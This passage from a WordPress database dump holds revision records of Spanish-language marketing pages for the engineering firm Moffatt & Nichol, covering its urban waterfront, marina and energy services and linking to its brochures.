target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 7, nÃºmero 1</em>\r\n<strong class=\"green-new\">Sobre rieles</strong></p><br />\r\n<p>El diseÃ±o, aÃºn mÃ¡s innovador y rÃ¡pido, mejora, expande y moderniza los corredores de transporte, a medida que avanzamos,</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/M&amp;N%20NL%20V7%20I1%206.10.09%20Final.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','BoletÃn de noticias','','inherit','open','open','','75-revision-7','','','2012-05-29 05:51:56','2012-05-29 05:51:56','',75,'http://moffattnichol.com/spanish/75-revision-7/',0,'revision','',0),(2357,1,'2012-05-17 13:06:00','2012-05-17 13:06:00','<div class=\"content_faq\">\r\n       [anything_slides cat=urban-waterfronts-and-marinas width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n      \r\n       <div class=\"ports-left\">\r\n            <h3>frentes de mar urbanos y puertos deportivos</h3> Moffatt & Nichol comenzÃ³ a participar en el desarrollo del frente de mar urbano a principios de la dÃ©cada de 1960 con la creaciÃ³n del puerto de Huntington en la parte sur de California. Desde que desarrollÃ³ este proyecto hace casi 50 aÃ±os, la firma ha llegado a ser reconocida a nivel mundial por su papel en la revitalizaciÃ³n y el nuevo desarrollo de frentes de mar urbanosâ€”incluyendo la evoluciÃ³n del puerto deportivo moderno y el diseÃ±o de puertos para pequeÃ±as embarcaciones. Nuestra cartera de frentes de mar urbanos incluye centros turÃsticos, parques ribereÃ±os y espacios abiertos, desarrollos de puertos deportivos residenciales y municipales, terminales de transbordadores y taxis acuÃ¡ticos, rampas para botes, paseos marÃtimos, amarres de buques histÃ³ricos, comerciales y recreacionales, mejora de humedales y muchos otros usos. Nuestra experiencia en el planeamiento y diseÃ±o en el ambiente marino nos permite crear infraestructura sostenible y soluciones innovadoras y premiadas para los desafÃos involucrados al desarrollar las vÃas navegables y las lÃneas costeras del mundo.\r\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas/urban-waterfronts-and-marinas/\">Examinar los servicios de frentes de mar urbanos y puertos deportivos >></a></div> \r\n</div>\r\n <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-2.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÃ“N DE FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</strong><br />\r\n                Como los frentes costeros de hoy en dÃa se convierten en catalizadores de la actividad econÃ³mica, la especialidad de frentes de mar urbanos y puertos deportivos de Moffatt & Nichol desempeÃ±a un papel crÃtico \r\n                </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/URBAN%20WATERFRONTS%20AND%20MARINAS%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</strong><br />\r\n               Los frentes costeros de hoy son catalizadores de la actividad econÃ³mica. La especialidad de frentes costeros y puertos deportivos de Moffatt & Nichol se estableciÃ³ en la dÃ©cada de 1960, a medida que la navegaciÃ³n de recreo aumentaba </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONT.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE TERMINALES DE TRANSBORDADORES</strong><br />\r\n                Como una de las mayores firmas internacionales de ingenierÃa y consultorÃa marÃtimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en</div>\r\n                &nbsp;\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n            \r\n        </div>\r\n  </div>        \r\n        \r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>        ','Frentes de mar urbanos y puertos deportivos','','inherit','open','open','','58-revision-3','','','2012-05-17 13:06:00','2012-05-17 13:06:00','',58,'http://moffattnichol.com/spanish/58-revision-3/',0,'revision','',0),(2358,1,'2012-05-17 13:07:07','2012-05-17 13:07:07','<div class=\"content_faq\"> [anything_slides cat=energy width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n  <div class=\"ports-left\">\r\n    <h3>energÃa</h3> Como las economÃas y las polÃticas medioambientales cambian y se modifican en todo el mundo, el sector de energÃa debe adaptarse. Durante dÃ©cadas, Moffatt & Nichol ha sido un consultor lÃder en la industria que aborda las necesidades especÃficas de las terminales marÃtimas costa afuera y cercanas a la costa para la industria del petrÃ³leo y el gas, desde muelles y dÃ¡rsenas hasta cimentaciones profundas, instalaciones costa afuera flotantes, terminales de carga lÃquida a granel y de GNL y sistemas de amarre costa afuera. Hemos aprovechado esta experiencia, junto con nuestra familiaridad con los procesos costeros, las soluciones de amortiguaciÃ³n, las estructuras dinÃ¡micas y la modelaciÃ³n de cimentaciones, para colaborar con clientes en afrontar los desafÃos de proyectos de energÃa convencional y renovableâ€”desde la infraestructura civil necesaria para la generaciÃ³n de energÃa convencional hasta el planeamiento y diseÃ±o de fuentes mÃ¡s innovadoras tales como el almacenamiento de energÃa eÃ³lica costa afuera, la energÃa hidrocinÃ©tica y la energÃa eÃ³lica de aguas profundas.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/energy/energy-services/\">Examinar servicios de energÃa >></a></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <h3>publicaciones relevantes</h3>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-1.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n        <strong class=\"green-new\">Folleto de Instalaciones marÃtimas de petrÃ³leo y gas	</strong><br />\r\n        Durante dÃ©cadas, Moffatt & Nichol ha sido un consultor lÃder en la industria que abordaba las necesidades especÃficas de las terminales marÃtimas costa afuera y cercanas a la costa de </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/oil-gas-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/OIL%20AND%20GAS%20MAY%202011-PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DESCRIPTIVO DE ENERGÃA EÃ“LICA</strong><br />\r\n        Moffatt & Nichol estÃ¡ posicionado en forma singular para ayudar a nuestros clientes a afrontar los desafÃos de proyectos de desarrollo de energÃa eÃ³lica, tanto en tierra como costa afuera. Combinamos nuestro </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-power-overview-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Power_Overview_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-5.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÃ‘O DE LA SUBESTRUCTURA DE GENERADOR DE TURBINA EÃ“LICA (WTG) COSTA AFUERA</strong><br />\r\n        Moffatt & Nichol aporta las capacidades y experiencia para diseÃ±ar subestructuras optimizadas costa afuera para apoyar el desarrollo de parques eÃ³licos costa afuera, incluyendo generadores de turbina eÃ³lica (WTG, por sus siglas en inglÃ©s)</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wtg-substructure-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_WTG_Substructure_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-4.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE PUERTOS DE ACCESO A PARQUES EÃ“LICOS COSTA AFUERA</strong><br />\r\n        Moffatt & Nichol es la firma principal de planeamiento y diseÃ±o para el desarrollo de puertos y terminales marÃtimas en NorteamÃ©rica y es una de las principales firmas a nivel mundial </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-staging-ports-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Staging_Ports_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÃ‘O DE PLATAFORMAS DE SUBESTACIONES ELÃ‰CTRICAS COSTA AFUERA</strong><br />\r\n        El conocimiento de la ingenierÃa marÃtima/costa afuera y la comprensiÃ³n de las necesidades de los parques eÃ³licos costa afuera de Moffatt & Nichol proporciona </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-electrical-substation-platform-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Electrical_Substation_Platform_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE LA GESTIÃ“N DE PROGRAMA DE PARQUES EÃ“LICOS COSTA AFUERA</strong><br />\r\n        El desarrollo eÃ³lico costa afuera crea muchos desafÃos para los desarrolladores. La industria y las regulaciones estÃ¡n en cambio constantemente. Las percepciones </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-program-management-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Program_Management_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-6.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES DE PARQUES EÃ“LICOS</strong><br />\r\n        Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-farm-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Farm_Commercial_Advisory_Services_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO de Almacenamiento de EnergÃa de Aire Comprimido del OcÃ©ano (OCAES, por sus siglas en inglÃ©s)</strong><br />\r\n        Â¿QuÃ© es OCAES? TRES COMPONENTES CLAVE: Innovadora tecnologÃa de compresor/expansor GCAESâ„¢ â€¢ Con base en la costa â€¢ Modular\r\n       </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ocean-compressed-air-energy-storage-bochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OCAES Brochure-PRINTABLE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','EnergÃa','','inherit','open','open','','60-revision-2','','','2012-05-17 13:07:07','2012-05-17 13:07:07','',60,'http://moffattnichol.com/spanish/60-revision-2/',0,'revision','',0),(2359,1,'2012-05-29 05:59:37','2012-05-29 05:59:37','<div class=\"content_faq\"> [anything_slides cat=energy width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n  <div class=\"ports-left\">\r\n    <h3>energÃa</h3> Como las economÃas y las polÃticas medioambientales cambian y se modifican en todo el mundo, el sector de energÃa debe adaptarse. Durante dÃ©cadas, Moffatt & Nichol ha sido un consultor lÃder en la industria que aborda las necesidades especÃficas de las terminales marÃtimas costa afuera y cercanas a la costa para la industria del petrÃ³leo y el gas, desde muelles y dÃ¡rsenas hasta cimentaciones profundas, instalaciones costa afuera flotantes, terminales de carga lÃquida a granel y de GNL y sistemas de amarre costa afuera. Hemos aprovechado esta experiencia, junto con nuestra familiaridad con los procesos costeros, las soluciones de amortiguaciÃ³n, las estructuras dinÃ¡micas y la modelaciÃ³n de cimentaciones, para colaborar con clientes en afrontar los desafÃos de proyectos de energÃa convencional y renovableâ€”desde la infraestructura civil necesaria para la generaciÃ³n de energÃa convencional hasta el planeamiento y diseÃ±o de fuentes mÃ¡s innovadoras tales como el almacenamiento de energÃa eÃ³lica costa afuera, la energÃa hidrocinÃ©tica y la energÃa eÃ³lica de aguas profundas.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/energy/energy-services/\">Examinar servicios de energÃa >></a></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <h3>publicaciones relevantes</h3>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-1.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n        <strong class=\"green-new\">Folleto de Instalaciones marÃtimas de petrÃ³leo y gas	</strong><br />\r\n        Durante dÃ©cadas, Moffatt & Nichol ha sido un consultor lÃder en la industria que abordaba las necesidades especÃficas de las terminales marÃtimas costa afuera y cercanas a la costa de </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/oil-gas-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/OIL%20AND%20GAS%20MAY%202011-PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DESCRIPTIVO DE ENERGÃA EÃ“LICA</strong><br />\r\n        Moffatt & Nichol estÃ¡ posicionado en forma singular para ayudar a nuestros clientes a afrontar los desafÃos de proyectos de desarrollo de energÃa eÃ³lica, tanto en tierra como costa afuera. Combinamos nuestro </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-power-overview-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Power_Overview_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-5.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÃ‘O DE LA SUBESTRUCTURA DE GENERADOR DE TURBINA EÃ“LICA (WTG) COSTA AFUERA</strong><br />\r\n        Moffatt & Nichol aporta las capacidades y experiencia para diseÃ±ar subestructuras optimizadas costa afuera para apoyar el desarrollo</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wtg-substructure-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_WTG_Substructure_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-4.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE PUERTOS DE ACCESO A PARQUES EÃ“LICOS COSTA AFUERA</strong><br />\r\n        Moffatt & Nichol es la firma principal de planeamiento y diseÃ±o para el desarrollo de puertos y terminales marÃtimas en NorteamÃ©rica y es una de las principales firmas a nivel mundial </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-staging-ports-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Staging_Ports_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÃ‘O DE PLATAFORMAS DE SUBESTACIONES ELÃ‰CTRICAS COSTA AFUERA</strong><br />\r\n        El conocimiento de la ingenierÃa marÃtima/costa afuera y la comprensiÃ³n de las necesidades de los parques eÃ³licos costa afuera de Moffatt & Nichol proporciona </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-electrical-substation-platform-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Electrical_Substation_Platform_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE LA GESTIÃ“N DE PROGRAMA DE PARQUES EÃ“LICOS COSTA AFUERA</strong><br />\r\n        El desarrollo eÃ³lico costa afuera crea muchos desafÃos para los desarrolladores. La industria y las regulaciones estÃ¡n en cambio constantemente. Las percepciones </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-program-management-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Program_Management_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-6.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES DE PARQUES EÃ“LICOS</strong><br />\r\n        Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-farm-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Farm_Commercial_Advisory_Services_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO de Almacenamiento de EnergÃa de Aire Comprimido del OcÃ©ano (OCAES, por sus siglas en inglÃ©s)</strong><br />\r\n        Â¿QuÃ© es OCAES? TRES COMPONENTES CLAVE: Innovadora tecnologÃa de compresor/expansor GCAESâ„¢ â€¢ Con base en la costa â€¢ Modular\r\n       </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ocean-compressed-air-energy-storage-bochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OCAES Brochure-PRINTABLE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','EnergÃa','','inherit','open','open','','60-revision-3','','','2012-05-29 05:59:37','2012-05-29 05:59:37','',60,'http://moffattnichol.com/spanish/60-revision-3/',0,'revision','',0),(2360,1,'2012-05-29 06:00:13','2012-05-29 06:00:13','<div class=\"content_faq\"> [anything_slides cat=energy width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n  <div class=\"ports-left\">\r\n    <h3>energÃa</h3> Como las economÃas y las polÃticas medioambientales cambian y se modifican en todo el mundo, el sector de energÃa debe adaptarse. Durante dÃ©cadas, Moffatt & Nichol ha sido un consultor lÃder en la industria que aborda las necesidades especÃficas de las terminales marÃtimas costa afuera y cercanas a la costa para la industria del petrÃ³leo y el gas, desde muelles y dÃ¡rsenas hasta cimentaciones profundas, instalaciones costa afuera flotantes, terminales de carga lÃquida a granel y de GNL y sistemas de amarre costa afuera. Hemos aprovechado esta experiencia, junto con nuestra familiaridad con los procesos costeros, las soluciones de amortiguaciÃ³n, las estructuras dinÃ¡micas y la modelaciÃ³n de cimentaciones, para colaborar con clientes en afrontar los desafÃos de proyectos de energÃa convencional y renovableâ€”desde la infraestructura civil necesaria para la generaciÃ³n de energÃa convencional hasta el planeamiento y diseÃ±o de fuentes mÃ¡s innovadoras tales como el almacenamiento de energÃa eÃ³lica costa afuera, la energÃa hidrocinÃ©tica y la energÃa eÃ³lica de aguas profundas.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/energy/energy-services/\">Examinar servicios de energÃa >></a></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <h3>publicaciones relevantes</h3>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-1.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n        <strong class=\"green-new\">Folleto de Instalaciones marÃtimas de petrÃ³leo y gas	</strong><br />\r\n        Durante dÃ©cadas, Moffatt & Nichol ha sido un consultor lÃder en la industria que abordaba las necesidades especÃficas de las terminales marÃtimas costa afuera y cercanas a la costa de </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/oil-gas-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/OIL%20AND%20GAS%20MAY%202011-PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DESCRIPTIVO DE ENERGÃA EÃ“LICA</strong><br />\r\n        Moffatt & Nichol estÃ¡ posicionado en forma singular para ayudar a nuestros clientes a afrontar los desafÃos de proyectos de desarrollo de energÃa eÃ³lica, tanto en tierra como costa afuera. Combinamos nuestro </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-power-overview-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Power_Overview_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-5.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÃ‘O DE LA SUBESTRUCTURA DE GENERADOR DE TURBINA EÃ“LICA (WTG) COSTA AFUERA</strong><br />\r\n        Moffatt & Nichol aporta las capacidades y experiencia para diseÃ±ar subestructuras optimizadas costa afuera para apoyar el desarrollo</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wtg-substructure-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_WTG_Substructure_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-4.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE PUERTOS DE ACCESO A PARQUES EÃ“LICOS COSTA AFUERA</strong><br />\r\n        Moffatt & Nichol es la firma principal de planeamiento y diseÃ±o para el desarrollo de puertos y terminales marÃtimas en NorteamÃ©rica y es una de las principales firmas a nivel mundial </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-staging-ports-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Staging_Ports_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n  